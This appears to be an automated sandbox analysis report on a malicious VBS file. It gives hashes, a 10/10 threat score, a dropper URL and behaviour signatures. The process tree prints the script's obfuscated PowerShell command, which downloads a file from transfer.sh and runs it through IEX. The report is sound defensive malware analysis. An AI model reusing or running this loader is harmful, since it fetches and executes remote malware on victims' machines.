Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    15/03/2024, 10:18

General

  • Target

    cb27afd63b2c8ce8beb1dec8929594d8.vbs

  • Size

    946B

  • MD5

    cb27afd63b2c8ce8beb1dec8929594d8

  • SHA1

    dd3728aeb00bf8a68c7a972f8519cc81caeb2de1

  • SHA256

    4681174596e52b50da1fdef15ecc5f5348ae415eb7b851a2bc0aadaf5a676209

  • SHA512

    916a30b1927b5401066c6b50a67e90e67352e2b81391b6d36cb6587d543a56b58aeee355ce3632f2352c4066db56425bebfc8e35a58fd8541dd7001f2b41c328

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://transfer.sh/1nQFnMH/tyt.txt

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb27afd63b2c8ce8beb1dec8929594d8.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/1nQFnMH/tyt.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2900

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2900-4-0x000000001B680000-0x000000001B962000-memory.dmp

          Filesize

          2.9MB

        • memory/2900-5-0x0000000002960000-0x0000000002968000-memory.dmp

          Filesize

          32KB

        • memory/2900-6-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2900-7-0x0000000002C80000-0x0000000002D00000-memory.dmp

          Filesize

          512KB

        • memory/2900-8-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2900-9-0x0000000002C80000-0x0000000002D00000-memory.dmp

          Filesize

          512KB

        • memory/2900-10-0x0000000002C80000-0x0000000002D00000-memory.dmp

          Filesize

          512KB

        • memory/2900-11-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

          Filesize

          9.6MB